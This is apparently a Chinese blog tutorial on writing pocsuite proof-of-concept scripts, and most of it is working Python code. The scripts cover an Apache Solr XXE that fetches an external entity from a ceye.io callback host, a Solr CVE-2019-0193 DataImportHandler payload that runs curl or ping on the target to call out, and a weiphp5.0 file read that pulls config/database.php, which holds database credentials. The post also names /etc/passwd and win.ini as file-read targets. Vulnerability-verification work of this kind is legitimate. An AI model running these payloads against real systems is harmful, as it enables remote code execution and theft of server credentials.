def _get_core_name(self, url):    headers = {        "Accept": "application/json, text/plain, */*",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",        "Referer": "{}/solr/",        "Accept-Encoding": "gzip, deflate",        "Accept-Language": "zh-CN,zh;q=0.9",        "Connection": "close"    }    core_name_url = "{}/solr/admin/cores?_=&wt=json".format(url)    try:        send_request = requests.get(url=core_name_url, headers=headers, verify=False)        if send_request.status_code == 200 and 'status' in send_request.text:            response_data = send_request.json()            core_name = list(response_data['status'].keys())            return core_name    except:        return False
def _ceye(self, username, password, token, flag): ceye = CEye(username=username, password=password, token=token) result = ceye.exact_request(flag) return result
def _verify(self): result = {} if self.url[-1] == '/': self.url = self.url[:-1] headers = {        "Upgrade-Insecure-Requests""1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close" } ''' 1、先获取core name,过滤掉需要授权登陆的:_get_core_name    ''' core_name = self._get_core_name(self.url) if core_name == False: return False ceye_Identifier = "xxx.ceye.io" ceye_username = "xxx@qq.com" ceye_password = "xxx" ceye_token = "xxx" flag = "{}".format(random_str()) ceye_request_url = "{}.{}/{}_solr_xxe_{}".format(flag, ceye_Identifier, flag, flag)    payload = "/solr/{}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20test%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2F{}%22%3E%20%20%0A%25remote%3B%5D%3E&wt=xml&defType=xmlparser" vuln_url = "{}{}".format(self.url, payload) try: send_payload = requests.get(url=vuln_url, headers=headers, verify=False) if ceye_request_url in send_payload.text: ceye_result_data = self._ceye(username=ceye_username, password=ceye_password, token=ceye_token, flag=flag) if ceye_result_data: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url return self.parse_output(result) except: pass return False

3、无回显命令执行

对于无回显的命令执行和上面的XXE编写也一样,不过需要注意的是命令执行是需要执行命令的,并且无回显的命令执行判断和回显的判断不一样。

无回显的命令执行,一些可以用来判断的命令有:

  •  curl

  •  ping

  •  nslookup

  •  ...

目前我常用的三种方式,其中curl是只有Linux可以使用,windows的话需要自己安装

其中ping命令,windows和Linux也不一样,Linux的ping命令如果不加入-c参数,发送ping命令的任务是不会停止的,windows则是默认四个包,也可以使用-n参数进行控制发包数Linux在ping命令中是没有-n参数的,经过发现,当Linux使用ping命令的-n参数也会发送请求包,但是在命令行中是显示无效参数,但是还是会发送ping包

不过不太建议payload都使用ping -n numberdomain的方式来进行判断

所以在通常写的时候如果可以通过一些其他方式获取到目标的操作系统类型就最好,如果不行那么会发送两个payload。

一个是Linux的一个是windows的,Linux的则使用curl或者ping-c,Windows的就使用ping命令

实例:

solr-CVE-2019-0193

def _get_core_name(self, url):    headers  = {        "Accept": "application/json, text/plain, */*",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",        "Referer": "{}/solr/",        "Accept-Encoding": "gzip, deflate",        "Accept-Language": "zh-CN,zh;q=0.9",        "Connection": "close"    }    core_name_url = "{}/solr/admin/cores?_=&wt=json".format(url)    try:        send_request = requests.get(url=core_name_url, headers=headers, verify=False)        if send_request.status_code == 200 and 'status' in send_request.text:            response_data = send_request.json()            core_name = list(response_data['status'].keys())            return core_name    except:        return False
def _verify(self): result = {} if self.url[-1] == '/': self.url = self.url[:-1]
core_list = self._get_core_name(self.url)
return_error = [False, None, ''] if core_list in return_error: return False ceye_username = "xxx@qq.com" ceye_password = "xxx" ceye_token = "xxx"
ceye = CEye(username=ceye_username, password=ceye_password, token=ceye_token)
check_keyword = "0193_vuln"
linux_keyword = ceye.build_request(check_keyword, type="request") windows_keyword = ceye.build_request(check_keyword, type="dns") vuln_url = "{}/solr/{}/dataimport".format(self.url, core_list[0])
headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Content-type": "application/x-www-form-urlencoded", "Connection": "close" }
linux_payload = { "command": "full-import", "verbose": "false", "clean": "false", "commit": "true", "debug": "true", "core": "{}".format(core_list[0]), "name": "dataimport",        "dataConfig""\r\n<dataConfig>\r\n<dataSource type=\"URLDataSource\"/>\r\n<script><![CDATA[\r\nfunction poc(row){{\r\nvar process= java.lang.Runtime.getRuntime();\r\nprocess.exec(\"curl {}\");\r\nreturn row;\r\n}}\r\n]]> </script>\r\n<document>\r\n<entity name=\"stackoverflow\"\r\nurl=\"https://stackoverflow.com/feeds/tag/solr\"\r\nprocessor=\"XPathEntityProcessor\"\r\nforEach=\"/feed\"\r\ntransformer=\"script:poc\" />\r\n</document>\r\n</dataConfig>".format(linux_keyword['url']) }
windows_payload = { "command": "full-import", "verbose": "false", "clean": "false", "commit": "true", "debug": "true", "core": "{}".format(core_list[0]), "name": "dataimport",        "dataConfig""\r\n<dataConfig>\r\n<dataSource type=\"URLDataSource\"/>\r\n<script><![CDATA[\r\nfunction poc(row){{\r\nvar process= java.lang.Runtime.getRuntime();\r\nprocess.exec(\"ping -n 4 {}\");\r\nreturn row;\r\n}}\r\n]]></script>\r\n<document>\r\n<entity name=\"stackoverflow\"\r\nurl=\"https://stackoverflow.com/feeds/tag/solr\"\r\nprocessor=\"XPathEntityProcessor\"\r\nforEach=\"/feed\"\r\ntransformer=\"script:poc\" />\r\n</document>\r\n</dataConfig>".format(windows_keyword['url']) } payloads = [linux_payload, windows_payload] for payload in payloads: try: send_payload = requests.post(url=vuln_url, headers=headers, data=payload, verify=False) print(send_payload.text)            if send_payload.status_code == 200 and 'statusMessages' in send_payload.json().keys() and send_payload.json()['statusMessages']['Total Requests made to DataSource'] == '1' and send_payload.json()['statusMessages']['TotalRows Fetched'] == '1': if payload == payloads[0]: ceye_result_data = ceye.exact_request(linux_keyword['flag']) if ceye_result_data == check_keyword: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url return self.parse_output(result) elif payload == payloads[1]: ceye_result_data = ceye.exact_request(windows_keyword['flag']) if ceye_result_data == check_keyword: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url return self.parse_output(result) time.sleep(5) except BaseException as base: print(base) return False

4、任意文件读取

 

任意文件读取的写法,面对不同的操作系统也是有着不同的文件进读取,所以通常会构造两个payload,一个是win的一个是Linux的最为常见的就是:

  • Linux:/etc/passwd

  • Windows:c:\Windows\win.ini

还有则是例如一些cms下使用的框架文件或者说这个cms有一个config目录,这个目录和里面的config文件都是固定的话,我们就可以不用去判断操作系统,然后去构造不同的payload,只需要读取这个config目录下的固定文件即可

实例:

weiphp5.0任意文件读取

详细文章:

https://mp.weixin.qq.com/s/bomx1Y3XzRfC1Nqp0qbFaA(PeiQi师傅,公众号:PeiQi文库)

poc编写的步骤

  • 第一步是先将文件读取的内容写入Picture表中(发送payload之后成功的话是会返回一个值,这个值也就是jpg的id值)

  •  第二步是获取jpg文件(通过上一步获取的id值,使用bs4进行匹配,然后获取jsp的路径)

  •  第三步是判断内容是否存在jpg中(访问jpg文件获取访问后的响应包的内容后判断database.php文件内容是否存在jpg内容里面)

需要bs4和lxml

from pocsuite.api.request import reqfrom pocsuite.api.poc import registerfrom pocsuite.api.poc import Output, POCBasefrom bs4 import BeautifulSoup
class NcPOC(POCBase): install_requires = ['bs4', 'lxml']
    def _write_picture(self, url, headers): payloads = [ '/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php', '/public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php' ] data = {"1": "1"} for payload in payloads: vuln_url = url + payload            try: send_payload = req.post(url=vuln_url, data=data, headers=headers, verify=False) if send_payload.status_code == 200: return send_payload.text except: pass        return False
    def _get_img_path(self, url, headers, id): get_img_path_urls = [ '/index.php/home/file/user_pics', '/public/index.php/home/file/user_pics' ] for get_img_path_url in get_img_path_urls: vuln_url = url + get_img_path_url try: send_request = req.get(url=vuln_url, headers=headers, verify=False) if send_request.status_code == 200: soup = BeautifulSoup(send_request.text, 'lxml') for li in soup.find_all('li'): if li['data-id'] == id: img_url = li.find_all('img') return img_url[0]['src'] except BaseException as base: # print(base) pass return False
    def _verify(self):        result = {} if self.url[-1] == '/': self.url = self.url[:-1]
        headers = { "Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9",            "Connection""close" } img_id = self._write_picture(url=self.url, headers=headers) if img_id: img_url = self._get_img_path(url=self.url, headers=headers, id=img_id) if img_url: try: check_file_live = req.get(url=img_url, headers=headers, verify=False) if check_file_live.status_code == 200 and 'user' in check_file_live.text and 'pass' in check_file_live.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo']['File'] = img_url return self.parse_output(result) except: pass return False



个人在编写pocsuite时所用到的工具以及一些技巧


  •  burp(这个不需要说了,必备的)

  •  Pycharm、sublime-text

  •  burp-requests(burp插件,可以直接将数据包复制称python代码,五星级好评)

  •  wireshark、fiddler(这个有时用得上,有些不是http包)

    总结

在开始编写poc时,一开始考虑不严谨,可能就会使用burp插件直接把数据包复制粘贴就是一个poc,通过chan哥,梧桐师傅的一些指导,慢慢的了解编写poc时需要严谨的

  • 例如编写一些布尔或者时间盲注的时候,最好加个判断资产是否为这个poc的目标资产,不然可能由于其他问题导致误报。


  • 在编写poc时最好自己搭建环境并且复现过后再写,最好不要直接看见网上的poc就直接改成自己的脚本
  • 复现漏洞的时候需要仔细认真的看数据包,观察返回的值,数据包差异等等
2021年8月5日 12:14
首页    小暑|宜学习编写POC,忌风险排查乱无章